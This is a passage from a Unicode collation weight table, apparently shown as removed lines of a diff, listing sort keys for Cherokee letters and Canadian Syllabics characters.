-13BD  ; [.324B.0020.0008] # CHEROKEE LETTER MU
-AB8E  ; [.324C.0020.0002] # CHEROKEE SMALL LETTER NA
-13BE  ; [.324C.0020.0008] # CHEROKEE LETTER NA
-AB8F  ; [.324D.0020.0002] # CHEROKEE SMALL LETTER HNA
-13BF  ; [.324D.0020.0008] # CHEROKEE LETTER HNA
-AB90  ; [.324E.0020.0002] # CHEROKEE SMALL LETTER NAH
-13C0  ; [.324E.0020.0008] # CHEROKEE LETTER NAH
-AB91  ; [.324F.0020.0002] # CHEROKEE SMALL LETTER NE
-13C1  ; [.324F.0020.0008] # CHEROKEE LETTER NE
-AB92  ; [.3250.0020.0002] # CHEROKEE SMALL LETTER NI
-13C2  ; [.3250.0020.0008] # CHEROKEE LETTER NI
-AB93  ; [.3251.0020.0002] # CHEROKEE SMALL LETTER NO
-13C3  ; [.3251.0020.0008] # CHEROKEE LETTER NO
-AB94  ; [.3252.0020.0002] # CHEROKEE SMALL LETTER NU
-13C4  ; [.3252.0020.0008] # CHEROKEE LETTER NU
-AB95  ; [.3253.0020.0002] # CHEROKEE SMALL LETTER NV
-13C5  ; [.3253.0020.0008] # CHEROKEE LETTER NV
-AB96  ; [.3254.0020.0002] # CHEROKEE SMALL LETTER QUA
-13C6  ; [.3254.0020.0008] # CHEROKEE LETTER QUA
-AB97  ; [.3255.0020.0002] # CHEROKEE SMALL LETTER QUE
-13C7  ; [.3255.0020.0008] # CHEROKEE LETTER QUE
-AB98  ; [.3256.0020.0002] # CHEROKEE SMALL LETTER QUI
-13C8  ; [.3256.0020.0008] # CHEROKEE LETTER QUI
-AB99  ; [.3257.0020.0002] # CHEROKEE SMALL LETTER QUO
-13C9  ; [.3257.0020.0008] # CHEROKEE LETTER QUO
-AB9A  ; [.3258.0020.0002] # CHEROKEE SMALL LETTER QUU
-13CA  ; [.3258.0020.0008] # CHEROKEE LETTER QUU
-AB9B  ; [.3259.0020.0002] # CHEROKEE SMALL LETTER QUV
-13CB  ; [.3259.0020.0008] # CHEROKEE LETTER QUV
-AB9C  ; [.325A.0020.0002] # CHEROKEE SMALL LETTER SA
-13CC  ; [.325A.0020.0008] # CHEROKEE LETTER SA
-AB9D  ; [.325B.0020.0002] # CHEROKEE SMALL LETTER S
-13CD  ; [.325B.0020.0008] # CHEROKEE LETTER S
-AB9E  ; [.325C.0020.0002] # CHEROKEE SMALL LETTER SE
-13CE  ; [.325C.0020.0008] # CHEROKEE LETTER SE
-AB9F  ; [.325D.0020.0002] # CHEROKEE SMALL LETTER SI
-13CF  ; [.325D.0020.0008] # CHEROKEE LETTER SI
-ABA0  ; [.325E.0020.0002] # CHEROKEE SMALL LETTER SO
-13D0  ; [.325E.0020.0008] # CHEROKEE LETTER SO
-ABA1  ; [.325F.0020.0002] # CHEROKEE SMALL LETTER SU
-13D1  ; [.325F.0020.0008] # CHEROKEE LETTER SU
-ABA2  ; [.3260.0020.0002] # CHEROKEE SMALL LETTER SV
-13D2  ; [.3260.0020.0008] # CHEROKEE LETTER SV
-ABA3  ; [.3261.0020.0002] # CHEROKEE SMALL LETTER DA
-13D3  ; [.3261.0020.0008] # CHEROKEE LETTER DA
-ABA4  ; [.3262.0020.0002] # CHEROKEE SMALL LETTER TA
-13D4  ; [.3262.0020.0008] # CHEROKEE LETTER TA
-ABA5  ; [.3263.0020.0002] # CHEROKEE SMALL LETTER DE
-13D5  ; [.3263.0020.0008] # CHEROKEE LETTER DE
-ABA6  ; [.3264.0020.0002] # CHEROKEE SMALL LETTER TE
-13D6  ; [.3264.0020.0008] # CHEROKEE LETTER TE
-ABA7  ; [.3265.0020.0002] # CHEROKEE SMALL LETTER DI
-13D7  ; [.3265.0020.0008] # CHEROKEE LETTER DI
-ABA8  ; [.3266.0020.0002] # CHEROKEE SMALL LETTER TI
-13D8  ; [.3266.0020.0008] # CHEROKEE LETTER TI
-ABA9  ; [.3267.0020.0002] # CHEROKEE SMALL LETTER DO
-13D9  ; [.3267.0020.0008] # CHEROKEE LETTER DO
-ABAA  ; [.3268.0020.0002] # CHEROKEE SMALL LETTER DU
-13DA  ; [.3268.0020.0008] # CHEROKEE LETTER DU
-ABAB  ; [.3269.0020.0002] # CHEROKEE SMALL LETTER DV
-13DB  ; [.3269.0020.0008] # CHEROKEE LETTER DV
-ABAC  ; [.326A.0020.0002] # CHEROKEE SMALL LETTER DLA
-13DC  ; [.326A.0020.0008] # CHEROKEE LETTER DLA
-ABAD  ; [.326B.0020.0002] # CHEROKEE SMALL LETTER TLA
-13DD  ; [.326B.0020.0008] # CHEROKEE LETTER TLA
-ABAE  ; [.326C.0020.0002] # CHEROKEE SMALL LETTER TLE
-13DE  ; [.326C.0020.0008] # CHEROKEE LETTER TLE
-ABAF  ; [.326D.0020.0002] # CHEROKEE SMALL LETTER TLI
-13DF  ; [.326D.0020.0008] # CHEROKEE LETTER TLI
-ABB0  ; [.326E.0020.0002] # CHEROKEE SMALL LETTER TLO
-13E0  ; [.326E.0020.0008] # CHEROKEE LETTER TLO
-ABB1  ; [.326F.0020.0002] # CHEROKEE SMALL LETTER TLU
-13E1  ; [.326F.0020.0008] # CHEROKEE LETTER TLU
-ABB2  ; [.3270.0020.0002] # CHEROKEE SMALL LETTER TLV
-13E2  ; [.3270.0020.0008] # CHEROKEE LETTER TLV
-ABB3  ; [.3271.0020.0002] # CHEROKEE SMALL LETTER TSA
-13E3  ; [.3271.0020.0008] # CHEROKEE LETTER TSA
-ABB4  ; [.3272.0020.0002] # CHEROKEE SMALL LETTER TSE
-13E4  ; [.3272.0020.0008] # CHEROKEE LETTER TSE
-ABB5  ; [.3273.0020.0002] # CHEROKEE SMALL LETTER TSI
-13E5  ; [.3273.0020.0008] # CHEROKEE LETTER TSI
-ABB6  ; [.3274.0020.0002] # CHEROKEE SMALL LETTER TSO
-13E6  ; [.3274.0020.0008] # CHEROKEE LETTER TSO
-ABB7  ; [.3275.0020.0002] # CHEROKEE SMALL LETTER TSU
-13E7  ; [.3275.0020.0008] # CHEROKEE LETTER TSU
-ABB8  ; [.3276.0020.0002] # CHEROKEE SMALL LETTER TSV
-13E8  ; [.3276.0020.0008] # CHEROKEE LETTER TSV
-ABB9  ; [.3277.0020.0002] # CHEROKEE SMALL LETTER WA
-13E9  ; [.3277.0020.0008] # CHEROKEE LETTER WA
-ABBA  ; [.3278.0020.0002] # CHEROKEE SMALL LETTER WE
-13EA  ; [.3278.0020.0008] # CHEROKEE LETTER WE
-ABBB  ; [.3279.0020.0002] # CHEROKEE SMALL LETTER WI
-13EB  ; [.3279.0020.0008] # CHEROKEE LETTER WI
-ABBC  ; [.327A.0020.0002] # CHEROKEE SMALL LETTER WO
-13EC  ; [.327A.0020.0008] # CHEROKEE LETTER WO
-ABBD  ; [.327B.0020.0002] # CHEROKEE SMALL LETTER WU
-13ED  ; [.327B.0020.0008] # CHEROKEE LETTER WU
-ABBE  ; [.327C.0020.0002] # CHEROKEE SMALL LETTER WV
-13EE  ; [.327C.0020.0008] # CHEROKEE LETTER WV
-ABBF  ; [.327D.0020.0002] # CHEROKEE SMALL LETTER YA
-13EF  ; [.327D.0020.0008] # CHEROKEE LETTER YA
-13F8  ; [.327E.0020.0002] # CHEROKEE SMALL LETTER YE
-13F0  ; [.327E.0020.0008] # CHEROKEE LETTER YE
-13F9  ; [.327F.0020.0002] # CHEROKEE SMALL LETTER YI
-13F1  ; [.327F.0020.0008] # CHEROKEE LETTER YI
-13FA  ; [.3280.0020.0002] # CHEROKEE SMALL LETTER YO
-13F2  ; [.3280.0020.0008] # CHEROKEE LETTER YO
-13FB  ; [.3281.0020.0002] # CHEROKEE SMALL LETTER YU
-13F3  ; [.3281.0020.0008] # CHEROKEE LETTER YU
-13FC  ; [.3282.0020.0002] # CHEROKEE SMALL LETTER YV
-13F4  ; [.3282.0020.0008] # CHEROKEE LETTER YV
-13FD  ; [.3283.0020.0002] # CHEROKEE SMALL LETTER MV
-13F5  ; [.3283.0020.0008] # CHEROKEE LETTER MV
-1401  ; [.3284.0020.0002] # CANADIAN SYLLABICS E
-1402  ; [.3285.0020.0002] # CANADIAN SYLLABICS AAI
-1403  ; [.3286.0020.0002] # CANADIAN SYLLABICS I
-1404  ; [.3287.0020.0002] # CANADIAN SYLLABICS II
-1405  ; [.3288.0020.0002] # CANADIAN SYLLABICS O
-1406  ; [.3289.0020.0002] # CANADIAN SYLLABICS OO
-1407  ; [.328A.0020.0002] # CANADIAN SYLLABICS Y-CREE OO
-1408  ; [.328B.0020.0002] # CANADIAN SYLLABICS CARRIER EE
-1409  ; [.328C.0020.0002] # CANADIAN SYLLABICS CARRIER I
-140A  ; [.328D.0020.0002] # CANADIAN SYLLABICS A
-140B  ; [.328E.0020.0002] # CANADIAN SYLLABICS AA
-140C  ; [.328F.0020.0002] # CANADIAN SYLLABICS WE
-140D  ; [.3290.0020.0002] # CANADIAN SYLLABICS WEST-CREE WE
-140E  ; [.3291.0020.0002] # CANADIAN SYLLABICS WI
-140F  ; [.3292.0020.0002] # CANADIAN SYLLABICS WEST-CREE WI
-1410  ; [.3293.0020.0002] # CANADIAN SYLLABICS WII
-1411  ; [.3294.0020.0002] # CANADIAN SYLLABICS WEST-CREE WII
-1412  ; [.3295.0020.0002] # CANADIAN SYLLABICS WO
-1413  ; [.3296.0020.0002] # CANADIAN SYLLABICS WEST-CREE WO
-1414  ; [.3297.0020.0002] # CANADIAN SYLLABICS WOO
-1415  ; [.3298.0020.0002] # CANADIAN SYLLABICS WEST-CREE WOO
-1416  ; [.3299.0020.0002] # CANADIAN SYLLABICS NASKAPI WOO
-1417  ; [.329A.0020.0002] # CANADIAN SYLLABICS WA
-1418  ; [.329B.0020.0002] # CANADIAN SYLLABICS WEST-CREE WA
-1419  ; [.329C.0020.0002] # CANADIAN SYLLABICS WAA
-141A  ; [.329D.0020.0002] # CANADIAN SYLLABICS WEST-CREE WAA
-141B  ; [.329E.0020.0002] # CANADIAN SYLLABICS NASKAPI WAA
-141C  ; [.329F.0020.0002] # CANADIAN SYLLABICS AI
-141D  ; [.32A0.0020.0002] # CANADIAN SYLLABICS Y-CREE W
-141E  ; [.32A1.0020.0002] # CANADIAN SYLLABICS GLOTTAL STOP
-141F  ; [.32A2.0020.0002] # CANADIAN SYLLABICS FINAL ACUTE
-1420  ; [.32A3.0020.0002] # CANADIAN SYLLABICS FINAL GRAVE
-1421  ; [.32A4.0020.0002] # CANADIAN SYLLABICS FINAL BOTTOM HALF RING
-1422  ; [.32A5.0020.0002] # CANADIAN SYLLABICS FINAL TOP HALF RING
-1423  ; [.32A6.0020.0002] # CANADIAN SYLLABICS FINAL RIGHT HALF RING
-1424  ; [.32A7.0020.0002] # CANADIAN SYLLABICS FINAL RING
-1425  ; [.32A8.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE ACUTE
-1426  ; [.32A9.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES
-1427  ; [.32AA.0020.0002] # CANADIAN SYLLABICS FINAL MIDDLE DOT
-1428  ; [.32AB.0020.0002] # CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE
-1429  ; [.32AC.0020.0002] # CANADIAN SYLLABICS FINAL PLUS
-142A  ; [.32AD.0020.0002] # CANADIAN SYLLABICS FINAL DOWN TACK
-142B  ; [.32AE.0020.0002] # CANADIAN SYLLABICS EN
-142C  ; [.32AF.0020.0002] # CANADIAN SYLLABICS IN
-142D  ; [.32B0.0020.0002] # CANADIAN SYLLABICS ON
-142E  ; [.32B1.0020.0002] # CANADIAN SYLLABICS AN
-142F  ; [.32B2.0020.0002] # CANADIAN SYLLABICS PE
-1430  ; [.32B3.0020.0002] # CANADIAN SYLLABICS PAAI
-1431  ; [.32B4.0020.0002] # CANADIAN SYLLABICS PI
-1432  ; [.32B5.0020.0002] # CANADIAN SYLLABICS PII
-1433  ; [.32B6.0020.0002] # CANADIAN SYLLABICS PO
-1434  ; [.32B7.0020.0002] # CANADIAN SYLLABICS POO
-1435  ; [.32B8.0020.0002] # CANADIAN SYLLABICS Y-CREE POO
-1436  ; [.32B9.0020.0002] # CANADIAN SYLLABICS CARRIER HEE
-1437  ; [.32BA.0020.0002] # CANADIAN SYLLABICS CARRIER HI
-1438  ; [.32BB.0020.0002] # CANADIAN SYLLABICS PA
-1439  ; [.32BC.0020.0002] # CANADIAN SYLLABICS PAA
-143A  ; [.32BD.0020.0002] # CANADIAN SYLLABICS PWE
-143B  ; [.32BE.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWE
-143C  ; [.32BF.0020.0002] # CANADIAN SYLLABICS PWI
-143D  ; [.32C0.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWI
-143E  ; [.32C1.0020.0002] # CANADIAN SYLLABICS PWII
-143F  ; [.32C2.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWII
-1440  ; [.32C3.0020.0002] # CANADIAN SYLLABICS PWO
-1441  ; [.32C4.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWO
-1442  ; [.32C5.0020.0002] # CANADIAN SYLLABICS PWOO
-1443  ; [.32C6.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWOO
-1444  ; [.32C7.0020.0002] # CANADIAN SYLLABICS PWA
-1445  ; [.32C8.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWA
-1446  ; [.32C9.0020.0002] # CANADIAN SYLLABICS PWAA
-1447  ; [.32CA.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWAA
-1448  ; [.32CB.0020.0002] # CANADIAN SYLLABICS Y-CREE PWAA
-1449  ; [.32CC.0020.0002] # CANADIAN SYLLABICS P
-144A  ; [.32CD.0020.0002] # CANADIAN SYLLABICS WEST-CREE P
-144B  ; [.32CE.0020.0002] # CANADIAN SYLLABICS CARRIER H
-144C  ; [.32CF.0020.0002] # CANADIAN SYLLABICS TE
-144D  ; [.32D0.0020.0002] # CANADIAN SYLLABICS TAAI
-144E  ; [.32D1.0020.0002] # CANADIAN SYLLABICS TI
-144F  ; [.32D2.0020.0002] # CANADIAN SYLLABICS TII
-1450  ; [.32D3.0020.0002] # CANADIAN SYLLABICS TO
-1451  ; [.32D4.0020.0002] # CANADIAN SYLLABICS TOO
-1452  ; [.32D5.0020.0002] # CANADIAN SYLLABICS Y-CREE TOO
-1453  ; [.32D6.0020.0002] # CANADIAN SYLLABICS CARRIER DEE
-1454  ; [.32D7.0020.0002] # CANADIAN SYLLABICS CARRIER DI
-1455  ; [.32D8.0020.0002] # CANADIAN SYLLABICS TA
-1456  ; [.32D9.0020.0002] # CANADIAN SYLLABICS TAA
-1457  ; [.32DA.0020.0002] # CANADIAN SYLLABICS TWE
-1458  ; [.32DB.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWE
-1459  ; [.32DC.0020.0002] # CANADIAN SYLLABICS TWI
-145A  ; [.32DD.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWI
-145B  ; [.32DE.0020.0002] # CANADIAN SYLLABICS TWII
-145C  ; [.32DF.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWII
-145D  ; [.32E0.0020.0002] # CANADIAN SYLLABICS TWO
-145E  ; [.32E1.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWO
-145F  ; [.32E2.0020.0002] # CANADIAN SYLLABICS TWOO
-1460  ; [.32E3.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWOO
-1461  ; [.32E4.0020.0002] # CANADIAN SYLLABICS TWA
-1462  ; [.32E5.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWA
-1463  ; [.32E6.0020.0002] # CANADIAN SYLLABICS TWAA
-1464  ; [.32E7.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWAA
-1465  ; [.32E8.0020.0002] # CANADIAN SYLLABICS NASKAPI TWAA
-1466  ; [.32E9.0020.0002] # CANADIAN SYLLABICS T
-1467  ; [.32EA.0020.0002] # CANADIAN SYLLABICS TTE
-1468  ; [.32EB.0020.0002] # CANADIAN SYLLABICS TTI
-1469  ; [.32EC.0020.0002] # CANADIAN SYLLABICS TTO
-146A  ; [.32ED.0020.0002] # CANADIAN SYLLABICS TTA
-146B  ; [.32EE.0020.0002] # CANADIAN SYLLABICS KE
-146C  ; [.32EF.0020.0002] # CANADIAN SYLLABICS KAAI
-146D  ; [.32F0.0020.0002] # CANADIAN SYLLABICS KI
-146E  ; [.32F1.0020.0002] # CANADIAN SYLLABICS KII
-146F  ; [.32F2.0020.0002] # CANADIAN SYLLABICS KO
-1470  ; [.32F3.0020.0002] # CANADIAN SYLLABICS KOO
-1471  ; [.32F4.0020.0002] # CANADIAN SYLLABICS Y-CREE KOO
-1472  ; [.32F5.0020.0002] # CANADIAN SYLLABICS KA
-1473  ; [.32F6.0020.0002] # CANADIAN SYLLABICS KAA
-1474  ; [.32F7.0020.0002] # CANADIAN SYLLABICS KWE
-1475  ; [.32F8.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWE
-1476  ; [.32F9.0020.0002] # CANADIAN SYLLABICS KWI
-1477  ; [.32FA.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWI
-1478  ; [.32FB.0020.0002] # CANADIAN SYLLABICS KWII
-1479  ; [.32FC.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWII
-147A  ; [.32FD.0020.0002] # CANADIAN SYLLABICS KWO
-147B  ; [.32FE.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWO
-147C  ; [.32FF.0020.0002] # CANADIAN SYLLABICS KWOO
-147D  ; [.3300.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWOO
-147E  ; [.3301.0020.0002] # CANADIAN SYLLABICS KWA
-147F  ; [.3302.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWA
-1480  ; [.3303.0020.0002] # CANADIAN SYLLABICS KWAA
-1481  ; [.3304.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWAA
-1482  ; [.3305.0020.0002] # CANADIAN SYLLABICS NASKAPI KWAA
-1483  ; [.3306.0020.0002] # CANADIAN SYLLABICS K
-1484  ; [.3307.0020.0002] # CANADIAN SYLLABICS KW
-1485  ; [.3308.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KEH
-1486  ; [.3309.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KIH
-1487  ; [.330A.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KOH
-1488  ; [.330B.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KAH
-1489  ; [.330C.0020.0002] # CANADIAN SYLLABICS CE
-148A  ; [.330D.0020.0002] # CANADIAN SYLLABICS CAAI
-148B  ; [.330E.0020.0002] # CANADIAN SYLLABICS CI
-148C  ; [.330F.0020.0002] # CANADIAN SYLLABICS CII
-148D  ; [.3310.0020.0002] # CANADIAN SYLLABICS CO
-148E  ; [.3311.0020.0002] # CANADIAN SYLLABICS COO
-148F  ; [.3312.0020.0002] # CANADIAN SYLLABICS Y-CREE COO
-1490  ; [.3313.0020.0002] # CANADIAN SYLLABICS CA
-1491  ; [.3314.0020.0002] # CANADIAN SYLLABICS CAA
-1492  ; [.3315.0020.0002] # CANADIAN SYLLABICS CWE
-1493  ; [.3316.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWE
-1494  ; [.3317.0020.0002] # CANADIAN SYLLABICS CWI
-1495  ; [.3318.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWI
-1496  ; [.3319.0020.0002] # CANADIAN SYLLABICS CWII
-1497  ; [.331A.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWII
-1498  ; [.331B.0020.0002] # CANADIAN SYLLABICS CWO
-1499  ; [.331C.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWO
-149A  ; [.331D.0020.0002] # CANADIAN SYLLABICS CWOO
-149B  ; [.331E.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWOO
-149C  ; [.331F.0020.0002] # CANADIAN SYLLABICS CWA
-149D  ; [.3320.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWA
-149E  ; [.3321.0020.0002] # CANADIAN SYLLABICS CWAA
-149F  ; [.3322.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWAA
-14A0  ; [.3323.0020.0002] # CANADIAN SYLLABICS NASKAPI CWAA
-14A1  ; [.3324.0020.0002] # CANADIAN SYLLABICS C
-14A2  ; [.3325.0020.0002] # CANADIAN SYLLABICS SAYISI TH
-14A3  ; [.3326.0020.0002] # CANADIAN SYLLABICS ME
-14A4  ; [.3327.0020.0002] # CANADIAN SYLLABICS MAAI
-14A5  ; [.3328.0020.0002] # CANADIAN SYLLABICS MI
-14A6  ; [.3329.0020.0002] # CANADIAN SYLLABICS MII
-14A7  ; [.332A.0020.0002] # CANADIAN SYLLABICS MO
-14A8  ; [.332B.0020.0002] # CANADIAN SYLLABICS MOO
-14A9  ; [.332C.0020.0002] # CANADIAN SYLLABICS Y-CREE MOO
-14AA  ; [.332D.0020.0002] # CANADIAN SYLLABICS MA
-14AB  ; [.332E.0020.0002] # CANADIAN SYLLABICS MAA
-14AC  ; [.332F.0020.0002] # CANADIAN SYLLABICS MWE
-14AD  ; [.3330.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWE
-14AE  ; [.3331.0020.0002] # CANADIAN SYLLABICS MWI
-14AF  ; [.3332.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWI
-14B0  ; [.3333.0020.0002] # CANADIAN SYLLABICS MWII
-14B1  ; [.3334.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWII
-14B2  ; [.3335.0020.0002] # CANADIAN SYLLABICS MWO
-14B3  ; [.3336.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWO
-14B4  ; [.3337.0020.0002] # CANADIAN SYLLABICS MWOO
-14B5  ; [.3338.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWOO
-14B6  ; [.3339.0020.0002] # CANADIAN SYLLABICS MWA
-14B7  ; [.333A.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWA
-14B8  ; [.333B.0020.0002] # CANADIAN SYLLABICS MWAA
-14B9  ; [.333C.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWAA
-14BA  ; [.333D.0020.0002] # CANADIAN SYLLABICS NASKAPI MWAA
-14BB  ; [.333E.0020.0002] # CANADIAN SYLLABICS M
-14BC  ; [.333F.0020.0002] # CANADIAN SYLLABICS WEST-CREE M
-14BD  ; [.3340.0020.0002] # CANADIAN SYLLABICS MH
-14BE  ; [.3341.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN M
-14BF  ; [.3342.0020.0002] # CANADIAN SYLLABICS SAYISI M
-14C0  ; [.3343.0020.0002] # CANADIAN SYLLABICS NE
-14C1  ; [.3344.0020.0002] # CANADIAN SYLLABICS NAAI
-14C2  ; [.3345.0020.0002] # CANADIAN SYLLABICS NI
-14C3  ; [.3346.0020.0002] # CANADIAN SYLLABICS NII
-14C4  ; [.3347.0020.0002] # CANADIAN SYLLABICS NO
-14C5  ; [.3348.0020.0002] # CANADIAN SYLLABICS NOO
-14C6  ; [.3349.0020.0002] # CANADIAN SYLLABICS Y-CREE NOO
-14C7  ; [.334A.0020.0002] # CANADIAN SYLLABICS NA
-14C8  ; [.334B.0020.0002] # CANADIAN SYLLABICS NAA
-14C9  ; [.334C.0020.0002] # CANADIAN SYLLABICS NWE
-14CA  ; [.334D.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWE
-14CB  ; [.334E.0020.0002] # CANADIAN SYLLABICS NWA
-14CC  ; [.334F.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWA
-14CD  ; [.3350.0020.0002] # CANADIAN SYLLABICS NWAA
-14CE  ; [.3351.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWAA
-14CF  ; [.3352.0020.0002] # CANADIAN SYLLABICS NASKAPI NWAA
-14D0  ; [.3353.0020.0002] # CANADIAN SYLLABICS N
-14D1  ; [.3354.0020.0002] # CANADIAN SYLLABICS CARRIER NG
-14D2  ; [.3355.0020.0002] # CANADIAN SYLLABICS NH
-14D3  ; [.3356.0020.0002] # CANADIAN SYLLABICS LE
-14D4  ; [.3357.0020.0002] # CANADIAN SYLLABICS LAAI
-14D5  ; [.3358.0020.0002] # CANADIAN SYLLABICS LI
-14D6  ; [.3359.0020.0002] # CANADIAN SYLLABICS LII
-14D7  ; [.335A.0020.0002] # CANADIAN SYLLABICS LO
-14D8  ; [.335B.0020.0002] # CANADIAN SYLLABICS LOO
-14D9  ; [.335C.0020.0002] # CANADIAN SYLLABICS Y-CREE LOO
-14DA  ; [.335D.0020.0002] # CANADIAN SYLLABICS LA
-14DB  ; [.335E.0020.0002] # CANADIAN SYLLABICS LAA
-14DC  ; [.335F.0020.0002] # CANADIAN SYLLABICS LWE
-14DD  ; [.3360.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWE
-14DE  ; [.3361.0020.0002] # CANADIAN SYLLABICS LWI
-14DF  ; [.3362.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWI
-14E0  ; [.3363.0020.0002] # CANADIAN SYLLABICS LWII
-14E1  ; [.3364.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWII
-14E2  ; [.3365.0020.0002] # CANADIAN SYLLABICS LWO
-14E3  ; [.3366.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWO
-14E4  ; [.3367.0020.0002] # CANADIAN SYLLABICS LWOO
-14E5  ; [.3368.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWOO
-14E6  ; [.3369.0020.0002] # CANADIAN SYLLABICS LWA
-14E7  ; [.336A.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWA
-14E8  ; [.336B.0020.0002] # CANADIAN SYLLABICS LWAA
-14E9  ; [.336C.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWAA
-14EA  ; [.336D.0020.0002] # CANADIAN SYLLABICS L
-14EB  ; [.336E.0020.0002] # CANADIAN SYLLABICS WEST-CREE L
-14EC  ; [.336F.0020.0002] # CANADIAN SYLLABICS MEDIAL L
-14ED  ; [.3370.0020.0002] # CANADIAN SYLLABICS SE
-14EE  ; [.3371.0020.0002] # CANADIAN SYLLABICS SAAI
-14EF  ; [.3372.0020.0002] # CANADIAN SYLLABICS SI
-14F0  ; [.3373.0020.0002] # CANADIAN SYLLABICS SII
-14F1  ; [.3374.0020.0002] # CANADIAN SYLLABICS SO
-14F2  ; [.3375.0020.0002] # CANADIAN SYLLABICS SOO
-14F3  ; [.3376.0020.0002] # CANADIAN SYLLABICS Y-CREE SOO
-14F4  ; [.3377.0020.0002] # CANADIAN SYLLABICS SA
-14F5  ; [.3378.0020.0002] # CANADIAN SYLLABICS SAA
-14F6  ; [.3379.0020.0002] # CANADIAN SYLLABICS SWE
-14F7  ; [.337A.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWE
-14F8  ; [.337B.0020.0002] # CANADIAN SYLLABICS SWI
-14F9  ; [.337C.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWI
-14FA  ; [.337D.0020.0002] # CANADIAN SYLLABICS SWII
-14FB  ; [.337E.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWII
-14FC  ; [.337F.0020.0002] # CANADIAN SYLLABICS SWO
-14FD  ; [.3380.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWO
-14FE  ; [.3381.0020.0002] # CANADIAN SYLLABICS SWOO
-14FF  ; [.3382.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWOO
-1500  ; [.3383.0020.0002] # CANADIAN SYLLABICS SWA
-1501  ; [.3384.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWA
-1502  ; [.3385.0020.0002] # CANADIAN SYLLABICS SWAA
-1503  ; [.3386.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWAA
-1504  ; [.3387.0020.0002] # CANADIAN SYLLABICS NASKAPI SWAA
-1505  ; [.3388.0020.0002] # CANADIAN SYLLABICS S
-1506  ; [.3389.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN S
-1507  ; [.338A.0020.0002] # CANADIAN SYLLABICS SW
-1508  ; [.338B.0020.0002] # CANADIAN SYLLABICS BLACKFOOT S
-1509  ; [.338C.0020.0002] # CANADIAN SYLLABICS MOOSE-CREE SK
-150A  ; [.338D.0020.0002] # CANADIAN SYLLABICS NASKAPI SKW
-150B  ; [.338E.0020.0002] # CANADIAN SYLLABICS NASKAPI S-W
-150C  ; [.338F.0020.0002] # CANADIAN SYLLABICS NASKAPI SPWA
-150D  ; [.3390.0020.0002] # CANADIAN SYLLABICS NASKAPI STWA
-150E  ; [.3391.0020.0002] # CANADIAN SYLLABICS NASKAPI SKWA
-150F  ; [.3392.0020.0002] # CANADIAN SYLLABICS NASKAPI SCWA
-1510  ; [.3393.0020.0002] # CANADIAN SYLLABICS SHE
-1511  ; [.3394.0020.0002] # CANADIAN SYLLABICS SHI
-1512  ; [.3395.0020.0002] # CANADIAN SYLLABICS SHII
-1513  ; [.3396.0020.0002] # CANADIAN SYLLABICS SHO
-1514  ; [.3397.0020.0002] # CANADIAN SYLLABICS SHOO
-1515  ; [.3398.0020.0002] # CANADIAN SYLLABICS SHA
-1516  ; [.3399.0020.0002] # CANADIAN SYLLABICS SHAA
-1517  ; [.339A.0020.0002] # CANADIAN SYLLABICS SHWE
-1518  ; [.339B.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWE
-1519  ; [.339C.0020.0002] # CANADIAN SYLLABICS SHWI
-151A  ; [.339D.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWI
-151B  ; [.339E.0020.0002] # CANADIAN SYLLABICS SHWII
-151C  ; [.339F.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWII
